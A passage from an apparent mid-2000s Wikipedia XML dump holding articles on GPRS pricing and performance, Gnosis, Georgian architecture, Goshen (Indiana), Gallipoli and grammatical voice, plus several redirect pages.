Telephone operators have priced GPRS relatively cheaply (compared to older GSM data transfer, [[Cellular Switched Data|CSD]] and [[high-speed circuit-switched data|HSCSD]]) in many areas, such as [[Finland]]. Most [[mobile phone operator]]s don't offer [[flat rate]] access to the Internet (with the notable exceptions of [[T-Mobile]] in both [[United States]] and [[Europe]], and [[Cingular]] in the [[United States]]), instead basing their tariffs on data transferred, usually rounded off per 100 kilobyte.

Typical rates vary wildly, ranging from [[Euro|EUR]] &amp;euro;1 per [[megabyte]] to over  &amp;euro;20 per megabyte. In the U.S., [[T-Mobile]] offers US$30 per month unlimited GPRS. In [[India]], BPL Mobile ([[Bombay]]) offers unlimited GPRS for Rs.500 (USD 11) per month. [[AirTel]] offers nation-wide unlimited GPRS and [[EDGE]] for Rs. 600 (USD 13.5). Orange (UK) offers a 1 Gigabyte package for &amp;euro;128 a month, and a £1 per day unlimited use package for pre-paid users. In [[Poland]], [[Era GSM]] offers a 2 Gigabyte package of GPRS and UMTS transmission under [[Blueconnect]] brand for &amp;euro;30 a month and [[Plus GSM]] offerts a 1 Gigabyte package for &amp;euro;15 a month.

GPRS Data on pre-paid packages is usually expensive, and limited to [[WAP]] and [[Multimedia Messaging System|MMS]]. Full internet access, allowing Web browsing, access to POP/IMAP mail, FTP and other mainstream Web applications is usually restricted to contract packages, and are made available at lower cost.

The maximum speed of a GPRS connection (as offered in [[2003]]) is the same as [[modem]] connection in an analog wire telephone network, about 4&amp;ndash;5&amp;nbsp;kB/s (depending on the phone used). [[Latency]] is very high; a round-trip [[ping]] being typically about 600&amp;ndash;700&amp;nbsp;ms and often reaching one second round trip time. GPRS is typically prioritised lower than speech, and thus the quality of connection varies greatly.

In order to set up a GPRS connection, a user needs to specify [[Access Point Name]] (APN), user name and password, and very often an IP address, all provided by the network operator.

== See also ==
* [[CDMA]]
* [[EDGE]]
* [[UMTS]]
* [[GPRS Core Network]]
* [[IP_Multimedia_Subsystem|IP Multimedia Subsystem]]

== External links ==
*[http://www.freewebs.com/telecomm/gprs.html Free GPRS Resources]
* [http://www.comsoc.org/livepubs/surveys/public/3q99issue/bettstetter.html Free online tutorial].
* [http://www.gsmworld.com/technology/gprs/intro.shtml GSM World - Association Responsible for GSM and GPRS].
* [http://www.palowireless.com/gprs/ Palowireless GPRS Resource Center]
* [http://www.eventhelix.com/RealtimeMantra/Telecom/gprs_attach_pdp_sequence_diagram.pdf GPRS Attach and PDP Context Activation Sequence Diagram].
* [http://www.radio-electronics.com/info/cellulartelecomms/gprs/gprs_tutorial.php Free GPRS tutorial].
* [http://www.domainstandard.net/mobility/tips-cuttingcosts.php Tips for Cutting Down on GPRS Bills].

[[category: mobile telephony standards]]

[[ar:جي بي ار إس (GPRS)]]
[[cs:General Packet Radio Service]]
[[de:General Packet Radio Service]]
[[es:General Packet Radio Service]]
[[eo:GPRS]]
[[fr:General Packet Radio Service]]
[[it:General Packet Radio Service]]
[[lt:GPRS]]
[[nl:General Packet Radio Service]]
[[no:GPRS]]
[[pl:GPRS]]
[[pt:General Packet Radio Service]]
[[ru:GPRS]]
[[sr:ГПРС мрежа]]
[[fi:GPRS]]
[[sv:GPRS]]
[[tr:GPRS]]
[[zh:GPRS]]</text>
    </revision>
  </page>
  <page>
    <title>GPRS</title>
    <id>12921</id>
    <revision>
      <id>15910570</id>
      <timestamp>2004-03-05T02:28:20Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; General Packet Radio Service</comment>
      <text xml:space="preserve">#REDIRECT [[General Packet Radio Service]]</text>
    </revision>
  </page>
  <page>
    <title>Gnosis</title>
    <id>12922</id>
    <revision>
      <id>41691944</id>
      <timestamp>2006-03-01T02:23:17Z</timestamp>
      <contributor>
        <username>Lawrence King</username>
        <id>194161</id>
      </contributor>
      <comment>/* Influences on contemporary culture */ Removed reference to miniscule contemporary religious body (self-advertising)</comment>
      <text xml:space="preserve">{{wiktionarypar|gnosis}}

The word '''gnosis''' (from the [[Greek language|Greek]] word for [[knowledge]], &amp;#947;&amp;#957;&amp;#974;&amp;#963;&amp;#953;&amp;#962;) has several uses.

== Classical meanings ==
* Among the [[gnosticism|gnostics]], ''gnosis'' was first and foremost a matter of self acquaintance which was the goal of [[Enlightenment (concept)|enlightenment]]. Later, [[Valentinius]], more usually called Valentinus, taught that gnosis was the privileged &quot;knowledge of the heart&quot; or &quot;[[insight]]&quot; about the [[spirituality|spiritual]] nature of the [[universe|cosmos]], that brought about [[salvation]] to the ''pneumatics'' - people who ''believed'' they could achieve this insight.
* Among [[Heresy|heresiologist]]s ''gnosis'' denotes different [[Christianity|Christian]] belief systems of [[esotericism|esoteric]] nature, such as, first and foremost, [[Gnosticism]] and other [[dualism|dualist]] systems from the [[1st century|1st]] and [[2nd century|2nd]] centuries &lt;small&gt;A.D.&lt;/small&gt;, but also [[Rosicrucian]]ism, Christian [[Kabbalah]] etc.

== Influences on contemporary culture ==
* ''Gnosis'' is the name of magazine [http://www.lumen.org/] published between [[1985]] and [[1999]] in [[California]] as a &quot;Journal of the Western Inner Traditions&quot; covering traditions of [[spirituality]] and [[mysticism]]. It was a project of the [[Lumen Foundation]].
* Among certain modern [[occult]] movements, esp. [[chaos magic]], ''gnosis'' refers to an altered state of awareness in which the will is &quot;magickally&quot; effective. 
* In the movie series [[The Matrix]], one of the hovercraft is named Gnosis.
*  Modern disciples of [[Aleister Crowley]] and his Doctrine of [[Thelema]] have also formed a number of Gnostic Religious Organizations. http://user.cyberlink.ch/~koenig/church.htm

== Intercultural associations ==
Gnosis has been associated and often cited as synonymous with terms from numerous cultures and religions:

* [[Enlightenment (Buddhism)|Enlightenment]] - [[Buddhism]]
* [[Moksha]] - [[Hinduism]]
* Kingdom of God - [[Christianity]]
* Body electric - [[Walt Whitman]]
* Rapture - [[Plato]] (in the sense of esctacy, not the Christian [[Rapture]])
* Irfan - [[Sufism]]
* Inner Light and Sound [[Sant Mat]]

== Video Game References ==
* In the hit game, &quot;Baten Kaitos: Eternal Wings and the Lost Ocean&quot; for the Nintendo Gamecube, Gnosis is the boss at the end of the &quot;Passageway of Souls.&quot; Kalas and his friends head to the Isle of Mira, the Illusion Nation, to find the fourth End Magnus, &quot;Bo.&quot; On the way to Mira, the ship on which the gang is traveling gets sucked into another dimension. They meet Mizuti and have to make it back to the real world. Mizuti guides them to the way to real world. As they are about to leave the other dimension Gnosis appears and a battle ensues.
* [[Gnosis (Xenosaga)|The Gnosis]] are mysterious alien attackers in the [[Xenosaga]] games for the Sony Playstation 2. The Gnosis have the ability to turn humans into salt by touching them.
* The term Gnosis is used in the collectable card game entitled &quot;Rage&quot;, based off of the White Wolf Role-playing game &quot;Werewolf: The Apocalypse&quot;.
*Though not featured, Gnosis is a hovership from [[Enter The Matrix]] and [[The Matrix series]].

== External links ==
* [http://www.gnosis.org/ The Gnosis Archive] - A source of primary texts.
* [http://www.starstuffs.com/articles/gnosis.html Gnosis and Shamanism Sacred Knowledge of ''Spiritual'' Knowing]
* [http://thomasinechurch.org/ Thomasine Church]
* [http://ashejournal.com/index.php?id=22/ Ashe Journal]- Special Issue on Gnosticism: From Valentinus to Burroughs
* [http://www.freechurchofantioch.com Free Church of Antioch- An independent, sacramental, gnostic-theosophical ''Catholic'' church]
* [http://www.bagendpress.com Gnosis: Good News for the Third Millennium by Todd C. Settimo- a modern gospel (published by Bag End Press)]
* [http://www.gftaognosticaespiritual.org TAO, Gnosis teachings in spanish but we are coming with the english version

== Gnostic blogs ==
* [http://illuminism.blogspot.com/ Illuminism &amp; Personal Reflections of Mar Didymos I, Patriarch of the Thomasine Church]

[[Category:Gnosticism]]

[[de:gnosis]]
[[el:&amp;#947;&amp;#957;&amp;#974;&amp;#963;&amp;#953;&amp;#962;]]
[[pt:Gnose]]
[[fi:Gnosis]]
[[sv:gnosis]]</text>
    </revision>
  </page>
  <page>
    <title>Georgian</title>
    <id>12923</id>
    <revision>
      <id>38784818</id>
      <timestamp>2006-02-08T17:12:48Z</timestamp>
      <contributor>
        <username>Peter Isotalo</username>
        <id>505774</id>
      </contributor>
      <minor />
      <comment>Peoples and langauges come first.</comment>
      <text xml:space="preserve">{{wiktionary}}
'''Georgian''' may refer to:

*the [[Georgian people]]
*[[Georgian language|Georgian]], a [[South Caucasian languages|South Caucasian language]]
* the ''[[Georgian (train)|Georgian]]'' an American passenger train
* the [[Georgian period in British history]] between kings [[George I]] and [[George IV]], with the sub-period of [[Regency]] (the Regency of [[George IV]] as [[Prince of Wales]] during the madness of his father [[George III]])
*[[Georgian architecture]]

==See also==
*[[Georgia (disambiguation)]]

{{disambig}}

[[no:Georgisk]]</text>
    </revision>
  </page>
  <page>
    <title>Georgian architecture</title>
    <id>12924</id>
    <revision>
      <id>40301612</id>
      <timestamp>2006-02-19T17:35:24Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[William Chambers]] to [[William Chambers (architect)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Image:57 The Close, Salisbury.jpg|thumb|right|200px|A Georgian house in [[Salisbury]]]]

[[image:royal.crescent.aerial.bath.arp.jpg|right|thumb|250px|Georgian architecture at [[Royal Crescent]], [[Bath]], seen from a [[hot air balloon]]. Notice the contrast between the architectural style of the public front and the private rear of this famous terrace]]

'''Georgian architecture''' is the name given in [[English (language)|English]]-speaking countries to the classic [[architectural style]]s current between about [[1720]] and [[1840]], named after the four [[British monarchy|British monarchs]] named George. The Georgian styles succeeded the English [[Baroque architecture|Baroque]] of Sir [[Christopher Wren]], Sir [[John Vanbrugh]] and [[Nicholas Hawksmoor]].  Among the first architects to promote the change in direction from baroque were [[Colen Campbell]] and the engravings in ''[[Vitruvius Britannicus]]'', [[Richard Boyle, 4th Earl of Cork|Lord Burlington]] and his proteg&amp;eacute; [[William Kent]], [[Thomas Archer]] and the [[Venetian]] [[Giacomo Leoni]], who passed his career in England.  

The styles that resulted fall within the broad categories of [[Palladian architecture|Palladian]]&amp;mdash; and its whimsical alternatives, [[Gothic architecture|Gothic]] and [[Chinoiserie]] that were the English-speaking world's equivalent of European [[Rococo]] styles&amp;mdash; and, from the mid-1760s, the range of [[Neoclassicism|Neoclassical]] modes associated with the British architects [[Robert Adam]], Sir [[William Chambers (architect)|William Chambers]], [[James Wyatt]], [[Henry Holland (architect)|Henry Holland]] and Sir [[John Soane]]. [[Greek Revival]] was added to the design repertory, after about [[1800]].  ''See also'': [[Adam style]], [[Georgian Dublin]]. 

Georgian architecture is characterised by its sense of proportion and balance; simple mathematical ratios were used to determine for example, the height of a window in relation to its width or the shape of a room as a double cube. &quot;Regular&quot; was a term of approval, implying symmetry and adherence to classical rules: the lack of symmetry, where Georgian additions were added to earlier structures, was deeply felt as a flaw. Regularity of housefronts along a street was a desirable feature of Georgian town planning. Georgian designs usually include one or more of the [[Classical order|orders of architecture]] and other elements derived from ancient Rome or Greece.

In the [[American colonies]], the neo-Palladian style is associated with '[[colonial Georgian]]' and the neo-classical styles broadly with '[[Federal style architecture|Federal]]' building styles.

Unlike earlier styles, which were disseminated among craftsmen through the direct experience of the apprenticeship system, Georgian architecture was also disseminated to builders through the new medium of inexpensive suites of [[engraving]]s. From the mid-18th century, Georgian styles were assimilated into an architectural vernacular that became part and parcel of the training of every carpenter and plasterer, from Edinburgh to Maryland.

After about 1840 Georgian conventions were slowly abandoned as a number of [[Revival styles]], including [[Gothic revival]], enlarged the design repertoire. In the United States this style fell out of favour after the revolution, due to its association with the colonial regime, later the [[Colonial Revival]] style would return to these designs. In Canada the [[United Empire Loyalists]] embraced Georgian architecture as a sign of their fealty to Britain, and the Georgian style was dominant in that country for most of the first half of the 19th century.

==See also==
*[[Victorian architecture]]

[[Category:Georgian architecture| ]]
[[Category:Architectural styles]]
[[Category:British architecture]]
[[Category:House styles]]

[[de:Georgianische Architektur]]
[[fr:Architecture géorgienne]]
[[uk:Георгіанський період]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Porting Vectorsite articles</title>
    <id>12925</id>
    <revision>
      <id>32082432</id>
      <timestamp>2005-12-20T09:17:05Z</timestamp>
      <contributor>
        <username>JesseW</username>
        <id>33352</id>
      </contributor>
      <comment>link template</comment>
      <text xml:space="preserve">'''Greg Goebel''' has written a considerable number of articles (of encyclopedic quality) at his website: http://www.vectorsite.net/.  He also publishes monthly newsletters on aviation technology and on general science and technology:

* [http://www.vectorsite.net/indexf.html Flash]
* [http://www.vectorsite.net/indexvc.html Vectors]
* [http://www.vectorsite.net/ttcode.html Cryptography]

He has graciously put these writings in the [[public domain]], and he was contacted personally to confirm that it would be OK to integrate these into [[Wikipedia]].  If you would like to 'port' an article of his to Wikipedia, you are encouraged to contact him as he might be able to provide updates and/or corrections.

This page will be used to track which documents and versions have been imported into Wikipedia.

Please put '''{{tl|vectorsite}}''' message into the articles based on Greg's in the '''Reference''' section.

== Imports ==
=== Done ===
* December 20th, 2001: [[P-47 Thunderbolt]] - version 1.1
* January 19th, 2002: [[P-38 Lightning]] - version 1.3
* February 25th, 2002 (or earlier): [[Plastic]] - version 1.0
* April 11th, 2002: [[Fuzzy control system]] - version 1.2
* April 11th, 2002: [[Computer numbering formats]] - seems to be version 1.0.5
* April 12th, 2002: [[SETI]] - version 1.0.2
* April 12th, 2002: [[Aerobot]] - version 1.0
* April 15th, 2002: [[George Westinghouse]] - unknown
* April 15th, 2002: [[Hypersonic]] - unknown
* April 16th, 2002: [[Age of the Earth]] - unknown
* January 21th, 2003: [[Dassault Mirage III]] - version 2.1.0 
* March 9th, 2003: [[B-47 Stratojet]] - version 2.0.0
* February 6, 2004: [[Short Sunderland]]
* February 8, 2004: [[T-37]] - version 1.0.2

=== Initiated ===
''Greg Goebel contacted''
:&lt;Put links to Greg's articles you've already laid your hands on. Don't forget your name.&gt;
* June 21, 2004: [[SIGSALY]], [[Bazeries cylinder]],  photos for [[Enigma machine]] - version 2.2.0
* June 22, 2004: [[M-209]], [[Trench code]]
* July 18, 2004: [[Code (cryptography)]]

=== Planned ===
&lt;Links to Greg's articles you feel you can handle in near future.&gt;
[[Category:Wikipedia how-to|{{PAGENAME}}]][[Category:Wikipedia sources]]</text>
    </revision>
  </page>
  <page>
    <title>Goshen, Indiana</title>
    <id>12926</id>
    <revision>
      <id>30418583</id>
      <timestamp>2005-12-07T01:36:18Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/129.74.19.184|129.74.19.184]] ([[User talk:129.74.19.184|talk]]) to last version by Adashiel</comment>
      <text xml:space="preserve">{{Infobox City-NoFlag |
official_name = City of Goshen, Indiana |
nickname =|
image_flag =|
image_seal =|
image_map = US-IN-Goshen.png |
map_caption = Location in the state of [[Indiana]] |
subdivision_type = [[List_of_Indiana_counties|County]] |
subdivision_name = [[Elkhart County, Indiana|Elkhart]]|
leader_title = [[Mayor]] |
leader_name = [[Allan Kauffman]] |
area_note =|
area_magnitude = 1 E7 |
area_total = 34.7 |
area_land = 34.2 |
area_water = 0.5 |
population_as_of = 2000 |
population_note =|
population_total = 29,383 |
population_density = 860.1 |
timezone = [[Eastern Standard Time|EST]] |
utc_offset = -5 |
timezone_DST = [[Eastern Standard Time|EST]] |
utc_offset_DST = -5 |
latitude = 41&amp;deg;34'55&quot; N |
longitude = 85&amp;deg;50'12&quot; W |
website = www.ci.goshen.in.us |
footnotes =|
}}

'''Goshen, Indiana''' is a town of 29,383 people (As of the [[2000]] census).  It is located about 100 miles east of [[Chicago, Illinois]] and 30 miles east of [[South Bend, Indiana]] in north-central [[Indiana]].  It is the [[county seat]] of [[Elkhart County, Indiana|Elkhart county]]. The town's preferred nickname is the '''Maple City'''.

In [[2005]], the [[Mayor]] is Allan Kauffman.

It is primarily known as a center of manufacturing for [[recreational vehicle]]s and accessories. It is also home to [[Goshen College]], a nationally recognized liberal arts college.

On [[December 6]], [[2001]], Goshen was in the national news due to a shooting at [[Nu-Wood]].  While initial reports said that 35 people had been shot, the actual facts were that the gunman, Robert Wissman killed one co-worker (plant general manager Greg Oswald), wounded 6 others, and took his own life.

== Geography ==
Goshen is located at 41&amp;deg;34'55&quot; North, 85&amp;deg;50'12&quot; West (41.582066, -85.836686){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 34.7 [[square kilometre|km&amp;sup2;]] (13.4 [[square mile|mi&amp;sup2;]]).  34.2 km&amp;sup2; (13.2 mi&amp;sup2;) of it is land and 0.5 km&amp;sup2; (0.2 mi&amp;sup2;) of it is water.  The total area is 1.57% water.

The city is divided north/south by Lincoln Avenue and east/west by Main Street. There is a distinct economic/social divide between the north and south sides of the city, the north side being regarded as the area north of the [[Norfolk Southern Railway|Norfolk Southern]] railroad tracks. This is in places a disadvantaged area and much of the city's crime occurs here. The growing [[Latino]] population of Goshen has largely settled on the north side.

South of Lincoln Avenue is considered the &quot;old money&quot; area of the city and many old houses and brick streets are preserved.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 29,383 people, 10,675 households, and 7,088 families residing in the city.  The [[population density]] is 860.1/km&amp;sup2; (2,227.7/mi&amp;sup2;).  There are 11,264 housing units at an average density of 329.7/km&amp;sup2; (854.0/mi&amp;sup2;).  The racial makeup of the city is 83.15% [[Race (U.S. Census)|White]], 1.53% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.26% [[Race (U.S. Census)|Native American]], 1.10% [[Race (U.S. Census)|Asian]], 0.02% [[Race (U.S. Census)|Pacific Islander]], 12.00% from [[Race (U.S. Census)|other races]], and 1.94% from two or more races.  19.33% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

[[Image:Goshen-indiana-downtown.jpg|thumb|left|Goshen's downtown.]]

There are 10,675 households out of which 32.6% have children under the age of 18 living with them, 50.8% are [[Marriage|married couples]] living together, 10.1% have a female householder with no husband present, and 33.6% are non-families. 27.5% of all households are made up of individuals and 12.5% have someone living alone who is 65 years of age or older.  The average household size is 2.61 and the average family size is 3.14.

In the city the population is spread out with 25.9% under the age of 18, 12.9% from 18 to 24, 30.0% from 25 to 44, 17.6% from 45 to 64, and 13.6% who are 65 years of age or older.  The median age is 32 years.  For every 100 females there are 100.6 males.  For every 100 females age 18 and over, there are 97.7 males.

The median income for a household in the city is $39,383, and the median income for a family is $46,877. Males have a median income of $32,159 versus $23,290 for females. The [[per capita income]] for the city is $18,899.  9.3% of the population and 6.0% of families are below the [[poverty line]].  Out of the total population, 11.8% of those under the age of 18 and 5.3% of those 65 and older are living below the poverty line.

[[Image:Goshen-indiana-courthouse.jpg|thumb|right|[[Elkhart County, Indiana|Elkhart County]] courthouse.]]

== Trivia ==
*Former [[Notre Dame]] and [[NFL]] quarterback [[Rick Mirer]] is a native of Goshen. During his years quarterbacking at Notre Dame, he was often referred to as &quot;The Goshen Motion&quot;. His father, Ken, led the [[Goshen High School]] football team to a state title in 1978.
*In [[2005]], Goshen based soccer club [[FC Indiana]] became the first North American women's team ever to win league and cup double by winning the [[Women's Premier Soccer League]] national championship and the [[US Open Cup]] national championship.

== External links ==
{{Mapit-US-cityscale|41.582066|-85.836686}}
* [http://www.goshen.edu/aboutgc/goshen.php City of Goshen] - informational page from [[Goshen College]]
* [http://www.ci.goshen.in.us/ Goshen city government website]
* [http://www.fcindiana.com/ FC Indiana]
* [http://www.goshen.org/ Goshen Chamber of Commerce]
* [http://www.city-data.com/city/Goshen-Indiana.html Goshen on citydata.com] - collection of statistics and graphs of Goshen demographics.

[[Category:Cities in Indiana]]
[[Category:Elkhart County, Indiana]]
[[Category:Towns in Indiana]]
[[Category:Goshen, Indiana]]

[[io:Goshen, Indiana]]</text>
    </revision>
  </page>
  <page>
    <title>GameCube</title>
    <id>12927</id>
    <revision>
      <id>28147330</id>
      <timestamp>2005-11-12T22:01:55Z</timestamp>
      <contributor>
        <username>ReyBrujo</username>
        <id>139561</id>
      </contributor>
      <comment>Categorized</comment>
      <text xml:space="preserve">#REDIRECT [[Nintendo GameCube]] {{R from alternate spelling}}</text>
    </revision>
  </page>
  <page>
    <title>Greshams Law</title>
    <id>12928</id>
    <revision>
      <id>15910577</id>
      <timestamp>2004-09-24T01:51:34Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Gresham's law]]</text>
    </revision>
  </page>
  <page>
    <title>Gallipoli</title>
    <id>12929</id>
    <revision>
      <id>42116202</id>
      <timestamp>2006-03-03T22:52:14Z</timestamp>
      <contributor>
        <ip>151.196.46.162</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
'''Gallipoli''', called '''Gelibolu''' in modern [[Turkish language|Turkish]], ([[Greek language|Greek]]: Καλλίπολις), is a town in northwestern [[Turkey]]. The name derives from the [[Greek language|Greek]] ''Kallipolis'', meaning &quot;Beautiful City&quot;. It is located on the Gallipoli [[Peninsula]] (Gelıbolu Yarımadası), with the [[Aegean Sea]] to the west and the [[Dardanelles]] straits to the east.  

The Gallipoli Peninsula was known as [[Thracian Chersonese|&quot;Chersonesus Thracica&quot;]] in ancient times.  The peninsula which was inhabitated by populations of the Byzantine Empire was gradually conquered by the [[Ottoman Empire]] starting from [[13th century]] onwards until [[15th century|the 15th]]. The [[Greeks]] living there were allowed to continue their everyday life. The peninsula did not see any more wars up until [[World War I]] when the [[British Empire]] allies trying to find a way to reach their troubled ally in the east, [[Imperial Russia]], decided to try to obtain passage to the east. The Ottomans set up defensive fortifications along the peninsula with [[German Empire|German]] help.

== Battle of Gallipoli ==
{{main|Battle of Gallipoli}}
In [[Australia]], [[New Zealand]] and [[Newfoundland]], Gallipoli is the name given to the Allied [[Battle of Gallipoli|Campaign]] on the peninsula during [[World War I]], usually known in [[United Kingdom|Britain]] as the Dardanelles Campaign and in Turkey as the Battle of Çanakkale. This was an attempt to push through the Dardanelles and capture [[İstanbul|Istanbul]]. On [[April 25]], [[1915]], as part of an allied force of British and [[France|French]] troops, the [[Australian and New Zealand Army Corps (army corps)|Australian and New Zealand Army Corps]] (ANZAC) landed at a small bay at the western end of the Peninsula (today officially called [[Anzac Cove]]). The campaign was relatively successful for the Turks and the Germans and a catastophe for Russia which eventually would lead to civil war partly due to this unsuccessful campaign. 
The Anzacs evacuated on [[December 19]], [[1915]] and the other elements of the invasion force a little later.  There were around 180,000 Allied casualties and 220,000 Turkish casualties. This campaign has become a &quot;[[founding myth]]&quot; for both [[Australia]] and [[New Zealand]], and [[Anzac Day]] is still commemorated as a holiday in both countries. Many mementos of the Gallipoli campaign can be seen in the museum at the [[Australian War Memorial]] in [[Canberra]], Australia and at the [[Auckland War Memorial Museum]] in [[Auckland]], New Zealand. This campaign also put a dent in the armour of Winston Churchill who then the war minister had commisioned the plans to invade the Dardanelles. He talks about this campaign vividly in his memoirs

The Gallipoli campaign also gave an important boost to the career of [[Mustafa Kemal]], who was at that time a little-known army commander. Kemal exceeded his authority and contravened orders in order to halt the Allied advance and eventually drive them back. He went on to found the modern Turkish state after the collapse of the [[Ottoman Empire]].

Gallipoli is the subject of a [[1981]] [[Gallipoli (film)|movie]] directed by [[Peter Weir]] and starring [[Mel Gibson]].

{{Districts of Çanakkale}}

[[Category:Cities in Turkey]]
[[Category:Battle of Gallipoli]]

[[da:Gallipoli]]
[[de:Halbinsel Gallipoli]]
[[el:Καλλίπολις]]
[[es:Gallípoli (ciudad)]]
[[fr:Gelibolu]]
[[nl:Gallipoli (schiereiland)]]
[[pl:Gallipoli]]
[[pt:Gallipoli]]
[[fi:Gallipoli]]
[[ru:Галлиполи]]
[[sv:Gallipoli]]
[[tr:Gelibolu, Çanakkale]]

Winston Churchill was the First Lord of the Admiralty at the time of Gallipoli campaign and not the War Minister.  Around 1917 he returned to public office as Minster of Munitions under Lloyd-George.</text>
    </revision>
  </page>
  <page>
    <title>Grammatical Voice</title>
    <id>12930</id>
    <revision>
      <id>15910579</id>
      <timestamp>2002-04-13T01:05:22Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <minor />
      <comment>de-cap title =&amp;gt; Grammatical voice</comment>
      <text xml:space="preserve">#REDIRECT [[Grammatical voice]]</text>
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  </page>
  <page>
    <title>Grammatical voice</title>
    <id>12931</id>
    <revision>
      <id>42103382</id>
      <timestamp>2006-03-03T21:21:52Z</timestamp>
      <contributor>
        <username>Ruakh</username>
        <id>34628</id>
      </contributor>
      <minor />
      <comment>/* The passive voice in topic-prominent languages */ on second thought, tables are less ugly than preformatted text</comment>
      <text xml:space="preserve">In [[grammar]], '''voice''' is the relationship between the action or state expressed by a [[verb]], and its [[verb argument|argument]]s (subject, object, etc.). 
When the [[subject (grammar)|subject]] is the agent or actor of the verb, the verb is said to be in the '''active voice'''. When the subject is the patient, target or undergoer of the action, it is said to be in the '''passive voice'''. For example, ''The cat ate the mouse'' is active, but ''The mouse was eaten by the cat'' is passive.

In a passive voice sentence, the subject and the direct object switch places. The direct object is ''promoted'' to subject, and the subject is ''demoted'' to an optional complement, that may be left out.

==The passive voice in English==

In the [[English language]], the [[English passive voice]] is ''[[periphrasis|periphrastic]]''; that is, it is modelled using an ''ad hoc'' phrase structure with a different word order, an auxiliary verb and a participle of the main verb. In other languages, such as the [[Latin language]], the passive voice is simply marked on the verb by [[inflection]]: the passive voice uses different endings than the active voice.

==The middle voice==

Some languages (e. g. [[Sanskrit]] and Classical [[Greek language|Greek]]) have a '''[[middle voice]]'''. An intransitive verb that appears active but expresses a passive action characterizes the English middle voice. For example, in ''The casserole cooked in the oven'', ''cooked'' is [[syntax|syntactically]] active but [[semantics|semantically]] passive, putting it in the middle voice. In Classical [[Greek language|Greek]], the middle voice is often reflexive, denoting that the subject acts on or for itself, such as &quot;The boy washes himself.&quot; or &quot;The boy washes.&quot;  It can be transitive or intransitive.  It can occasionally be used in a causative sense, such as &quot;The father causes his son to be set free.&quot; or &quot;The father ransoms his son.&quot;

Many [[deponent verb]]s in [[Latin]] are also survivals of the [[Indo-European]] middle voice; many of these in turn survive as obligatory pseudo-[[reflexive verb]]s in the [[Romance language]]s such as [[French language|French]] and [[Spanish language|Spanish]].

==Other grammatical voices==

Some languages have even more grammatical voices. For example, in Classic [[Mongolian language|Mongolian]] there are five voices: active, passive, causative, reciprocal and cooperative.

[[Ergative language]]s usually do not have a passive voice, since their syntactic structure does not agree with it; instead some have an [[antipassive voice]] that deletes the object of transitive verbs.

==The passive voice in topic-prominent languages==

[[Topic-prominent language]]s like [[Mandarin (linguistics)|Mandarin]] tend not employ the passive voice as frequently. In Mandarin, the passive voice is constructed by prefixing the active noun phrase with ''bei-'' and rearranging the usual word order. For example, this sentence using active voice:

:{|cellspacing=&quot;10&quot;
|''Gou''||''yao-le''||''zheige''||''nanren.''
|-
|dog||bite-PAST||this||man
|-
|colspan=&quot;4&quot;|&quot;A dog bit this man.&quot;
|}

corresponds to this sentence using passive voice:

:{|cellspacing=&quot;10&quot;
|''Zheige''||''nanren''||''bei''||''gou''||''yao-le.''
|-
|This||man||by||dog||bite-PAST.
|-
|colspan=&quot;5&quot;|&quot;This man was bitten by a dog.&quot;
|}

In addition, through the addition of the auxiliary verb &quot;to be&quot; (''shi'') the passive voice is frequently used to emphasise the identity of the actor. In this example, the emphasis is on ''dog'', presumably as opposed to some other animal:

:{|cellspacing=&quot;10&quot;
|''Zheige''||''nanren''||''shi''||''bei''||''gou''||''yao-le.''
|-
|This||man||is||by||dog||bite-PAST.
|-
|colspan=&quot;6&quot;|&quot;This man was bitten by a ''dog''.&quot;
|}

Despite being a topic-prominent language, [[Japanese language|Japanese]] employs the passive voice quite frequently, and has two types of passive voice, one that corresponds to that in English and an indirect passive not found in English. This indirect passive is used when something undesirable happens to the speaker.

:{|cellspacing=&quot;10&quot;
|''Kare''||''wa''||''dorobō''||''ni''||''saifu''||''wo''||''nusumareta.''
|-
|He||TOPIC||thief||AGENT||wallet||OBJECT||steal-PASSIVE-PAST
|-
|colspan=&quot;7&quot;|&quot;His wallet was stolen by a thief.&quot;
|}

:{|cellspacing=&quot;10&quot;
|''Boku''||''wa''||''kanojo''||''ni''||''uso''||''wo''||''tsukareta.''
|-
|I||TOPIC||her||AGENT||lie||OBJECT||tell-PASSIVE-PAST.
|-
|colspan=&quot;7&quot;|&quot;I was lied to by her.&quot; (''or'' &quot;She lied to me.&quot;)
|}

==The fourth person in Baltic-Finnic languages==

Some languages do not contrast voices, but similar-looking persons. For example, [[Baltic-Finnic languages]] such as [[Finnish language|Finnish]] and [[Estonian language|Estonian]] have a &quot;passive&quot;, which is conceptually more of a never-mentioned &quot;fourth person&quot; than variation of subjectivity or objectivity. For example, translating the sentence &quot;The house was blown down&quot; as ''Talo puhallettiin maahan'' would give the idea that some unmentioned person is blowing the house down by the force of his breath. Also, [[transitive verb|transitivity]] may be used, such that the fourth-person ''Ongelma ratkaistiin'', which uses the transitive, means &quot;Someone solved the problem&quot;, while the fourth-person ''Ongelma ratkesi'' uses the intransitive anticausative, and means &quot;The problem was solved&quot;.

==Dynamic and static passive==

In some languages there is a distinction between static or stative passive voice, and dynamic or eventive passive voice. Examples include [[German language|German]], [[Spanish language|Spanish]] or [[Dutch language|Dutch]]. Static means that an action was done to the subject at a certain point in time, whereas dynamic means that an action is done.
&lt;!--
I, [[User:Gerbrant|Shinobu]], commented out this section because &quot;open&quot; is an adjective. Compare in Dutch:
*De winkel is open.       - adjective       - The store is open.
*De winkel is geopend.    - static passive  - The store is open. Someone must have done it, but now it's just open.
*De winkel wordt geopend. - dynamic passive - Someone is opening the store, unlocking the door, turning the &quot;open&quot; sign and thus in the process of opening it.

